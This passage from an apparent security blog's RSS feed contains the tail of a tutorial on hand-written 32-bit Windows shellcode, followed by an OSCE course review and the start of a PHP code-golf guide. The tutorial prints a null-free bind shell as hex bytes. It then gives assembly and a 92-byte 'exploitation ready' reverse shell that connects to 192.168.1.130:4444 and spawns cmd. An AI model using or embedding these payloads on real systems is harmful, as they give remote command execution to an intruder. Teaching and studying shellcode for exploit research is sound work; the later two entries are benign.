&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;31&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;01&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;02&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b8&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;8b&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ab&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;71&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ff&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;89&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c3&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;31
&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b8&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;02&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;01&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;11&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;5c&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;fe&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;cc&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;89&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;e0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;10&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;53&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b8&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;80&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;44&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ab
&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;71&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ff&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;01&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;53&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b8&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d3&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;8c&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ab&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;71&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ff&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;31&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;53&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b8&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;40
&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;10&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ac&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;71&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ff&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;89&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c3&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ba&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;63&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d3&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;81&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;7c&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;53&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;f6&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ff&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d2&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;53&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;f5
&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ff&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d2&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;53&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;f4&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ff&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d2&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c7&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;44&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;24&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;fb&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;41&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;63&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6d&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;64&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;8d&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;44&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;24&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;fc&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;8d
&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;64&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;24&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;fc&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b8&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c7&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;93&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c2&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;77&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ff&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;111 bytes. No null bytes. Beautiful, isn’t it?&lt;/p&gt;

&lt;h1 id=&quot;building-the-reverse-shell-port-4444&quot;&gt;Building the reverse shell (port 4444)&lt;/h1&gt;

&lt;p&gt;For the reverse shell, we will reuse a lot from the bind shell code. In fact, we are just going to replace bind(), listen() and accept() with connect().&lt;/p&gt;

&lt;h2 id=&quot;system-call-connect&quot;&gt;System call: connect&lt;/h2&gt;

&lt;p&gt;Documentation: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-connect&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-connect&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Syntax:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SOCKET&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;sockaddr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;namelen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The connect system call connects to a socket. It takes three arguments and looks more or less like bind().&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x8201A8C0&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; Remote IP address, 192.168.1.130   &lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x5c110102&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; Port nr, 4444 (first 2 bytes) &lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;dec&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ah&lt;/span&gt;               &lt;span class=&quot;c1&quot;&gt;; eax: 0x5c110102 -&amp;gt; 0x5c110002 (Mitigating null byte)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Store portnr on stack&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; Store pointer to portnr&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; Clear eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; Makes eax = 0x00000010&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg3 (namelen) = 16 bytes&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg2 (*name) = esi -&amp;gt; 0x5c110002 (5c11 = 4444, 0002 = INET_AF)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg1 (s) = WSASocket() handler&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x71ab4a07&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; Address to connect()&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The logic for the remote IP address is the following:&lt;/p&gt;
&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;82 = 130
01 = 1
A8 = 168
C0 = 192
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;exploitation-ready-reverse-shell-92-bytes&quot;&gt;Exploitation ready reverse shell (92 bytes)&lt;/h3&gt;

&lt;p&gt;Compiled without LoadLibraryA() and WSAStartup().&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;objdump &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; reverse.exe | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;^ &quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f2&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'\x'&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt;
&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;31&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;01&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;02&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b8&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;8b&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ab&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;71&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ff&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;89&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c3&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;68
&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;a8&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;38&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;01&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b8&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;02&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;01&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;11&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;5c&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;fe&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;cc&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;89&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;e6&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;31&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;10&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;56
&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;53&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b8&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;07&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;4a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ab&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;71&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ff&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ba&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;63&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d3&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;81&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;7c&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;53&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;f6&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ff&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d2&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;53&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6a
&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;f5&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ff&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d2&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;53&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;f4&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ff&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d2&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c7&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;44&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;24&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;fb&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;41&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;63&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6d&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;64&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;8d&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;44&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;24&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;fc&lt;/span&gt;
&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;8d&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;64&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;24&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;fc&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b8&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c7&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;93&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c2&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;77&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ff&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;d0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Highly recommended read about shellcoding:
&lt;a href=&quot;http://www.hick.org/code/skape/papers/win32-shellcode.pdf&quot;&gt;http://www.hick.org/code/skape/papers/win32-shellcode.pdf&lt;/a&gt;&lt;/p&gt;
</description>
				<pubDate>Sun, 02 Feb 2020 00:00:00 +0000</pubDate>
				<link>/shellcode/2020/02/02/Tutorial-Hardcoded-Windows-Shellcodes-32bit.html</link>
				<guid isPermaLink="true">/shellcode/2020/02/02/Tutorial-Hardcoded-Windows-Shellcodes-32bit.html</guid>
			</item>
		
			<item>
				<title>Offensive Security CTP/OSCE Review</title>
				<description>&lt;p&gt;After I woke up on October the 16th, I had a new unread email from Offensive Security in my inbox. It was a perfect start of the day knowing that I had passed the horrifying 48 hour OSCE exam. Overall, Cracking the Perimeter was a great course. It was a hard journey and I learned a lot, especially about assembly, shellcoding and buffer overflows. I’m not saying that the course is only about buffer overflows, but out of the nine modules, you are staring at assembly code in a debugger in six of them. The three other modules were about advanced web and man-in-the-middle network attacks, which was really good and I wanted more of.&lt;/p&gt;

&lt;p&gt;Before I enrolled in the course I expected it to be more like PWK/OSCP, but harder, like penetration testing, but on a more advanced level. Instead it feels like a course for exploitation research. However, it is nothing wrong about that, and I truly believe that almost everything you do in computing will aid your experience as a penetration tester.&lt;/p&gt;

&lt;p&gt;If you blindly compare PWK and CTP (which is not actually fair), then the latter comes out short. This is primarily due to the minimal lab environment, where CTP doesn’t have a lab like PWK, filled with machines for you to exploit. The CTP lab consists only of 3-4 machines used for developing exploits for the modules. The course is also more expensive, costing $400 USD more than PWK, but it is still worth every penny in my opinion.&lt;/p&gt;

&lt;p&gt;The course content is not that big and you should seek information and hands-on practice outside the official material itself. &lt;a href=&quot;https://www.corelan.be/index.php/articles/&quot;&gt;Corelan&lt;/a&gt; and &lt;a href=&quot;https://www.fuzzysecurity.com/tutorials.html&quot;&gt;FuzzySecurity&lt;/a&gt; are extremely good resources for this. Also consider sharpening up your assembly and shellcoding skills before enrolling into the course.&lt;/p&gt;

&lt;p&gt;Lastly, I want to say that the course might be old, and many techniques covered won’t work with modern operating systems and new anti malware solutions. However, you should always learn the fundamental principles before exploring advanced techniques.&lt;/p&gt;

&lt;p&gt;Now back to the waiting room for AWE/OSCEE and AWAE/OSWE to come as online courses.&lt;/p&gt;
</description>
				<pubDate>Thu, 25 Oct 2018 00:00:00 +0000</pubDate>
				<link>/certifications/2018/10/25/CTP-OSCE-Review.html</link>
				<guid isPermaLink="true">/certifications/2018/10/25/CTP-OSCE-Review.html</guid>
			</item>
		
			<item>
				<title>Tips and Tricks when Golfing in PHP</title>
				<description>&lt;p&gt;&lt;img src=&quot;/images/phpGolf.jpg&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Code_golf&quot;&gt;Code golfing&lt;/a&gt; is about creating the shortest code, in bytes, to solve a given problem, in a specific language or free of choice. It would be the opposite of &lt;a href=&quot;https://xkcd.com/1960/&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Examples of on-going challenges:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://golf.shinh.org&quot;&gt;http://golf.shinh.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://codegolf.stackexchange.com&quot;&gt;https://codegolf.stackexchange.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/codegolf/&quot;&gt;https://www.reddit.com/r/codegolf/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://code-golf.io&quot;&gt;https://code-golf.io&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This guide was originally written by JWvdVeer and Wim for phpGolf.org. I have done some editing and fine tuning before releasing it again here. Although this guide is written for PHP version 5.3.3, the same principles still applies today, but does not include things like e.g. short array syntax. This is not an exhausting list of all tricks, but these might be the most important ones. The examples in the guide are not meant as the optimal solution for the given problem, but to show off the trick in question. The code written in the guide expects that error reporting is set to E_ALL &amp;amp; ~E_NOTICE.&lt;/p&gt;

&lt;p&gt;I have also added some of the most impressive submissions on phpGolf.org down below to take inspiration from.&lt;/p&gt;

&lt;h2 id=&quot;general-tips&quot;&gt;General Tips&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;PHP behaves in a consistent way, so you can always predict the outcome of the code. Sometimes you might even exploit known odd behavior of PHP.&lt;/li&gt;
  &lt;li&gt;Know the environment your code will run in. Most challenges have error_reporting E_ALL &amp;amp; ~E_NOTICE. So notices about functions being deprecated or undefined array indexes are accepted.&lt;/li&gt;
  &lt;li&gt;Use Google. Some challenges are copies of other challenges on the Internet. Or they are much the same. So you can get some inspiration of sometimes complete challenges.&lt;/li&gt;
  &lt;li&gt;Most of the time the less variables you use will result in a smaller solution in bytes. Ask yourself these questions: Do I really need them, or might the value of this variable also be derived from any other variable? Can I combine two values into one in order to save even 1 byte?&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;numbers&quot;&gt;Numbers&lt;/h2&gt;

&lt;p&gt;Instead of writing 1000 you can write 1e3. 1000000 would be 1e6 etc.&lt;/p&gt;

&lt;h2 id=&quot;strings&quot;&gt;Strings&lt;/h2&gt;
&lt;p&gt;A lot of space can be saved when dealing with strings.&lt;/p&gt;

&lt;h3 id=&quot;substrings&quot;&gt;Substrings&lt;/h3&gt;
&lt;p&gt;Substrings can be accessed like arrays, which means that you can do this:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;abc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# prints &quot;b&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;instead of this:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;abc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# prints &quot;b&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;string-inversion&quot;&gt;String inversion&lt;/h3&gt;
&lt;p&gt;Many strings doesn’t need to be quoted when notices are turned off (~E_NOTICE), which means that that the following will work, thus saving 2 bytes:&lt;/p&gt;

